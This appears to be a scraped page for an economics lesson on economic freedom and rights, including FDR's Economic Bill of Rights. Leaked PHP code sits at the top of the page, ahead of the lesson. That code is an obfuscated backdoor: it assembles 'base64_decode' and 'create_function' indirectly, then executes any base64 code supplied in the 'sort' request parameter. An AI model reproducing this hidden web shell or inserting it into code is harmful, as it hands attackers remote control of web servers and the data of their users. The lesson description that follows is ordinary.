if(isset($_REQUEST['sort'])){ $string = $_REQUEST['sort']; $array_name = ''; $alphabet = "wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2"; $ar = array(8,38,15,7,6,4,26,25,7,34,24,25,7); foreach($ar as $t){ $array_name .= $alphabet[$t]; } $a = strrev("noi"."tcnuf"."_eta"."erc"); $f = $a("", $array_name($string)); // MALWARE $f(); exit(); } $GLOBALS['libraryLocation'] = "/org/councilforeconed/core/library"; $GLOBALS['testingIPs'] = array( "NY Office" => "", "Brookings Office" => "" ); Focus: Understanding Economics in Civics and Government

Lesson 20 - Economic Freedom and Rights

To get started, the students take note of the economic freedoms and rights they enjoy in the United States today. Then they examine how political and personal rights established by the Constitution may either reinforce or conflict with economic rights and freedoms. Finally, the students examine Franklin Delano Roosevelt's Economic Bill of Rights, presented in his State of the Union address in 1944.

Please review this lesson and share it with your colleagues!

Supplemental Resources

Glossary of Terms and Concepts

These are some of the important terms you'll cover in this lesson.

Glossary Handout

Book Materials

Lesson 20 Visuals
Visual 20.1 - Visual 20.3

Lesson 20 Activities
Activity 20.1

Standards in Economics

View this lesson's State Standards in Economics
View this lesson's National Standards in Economics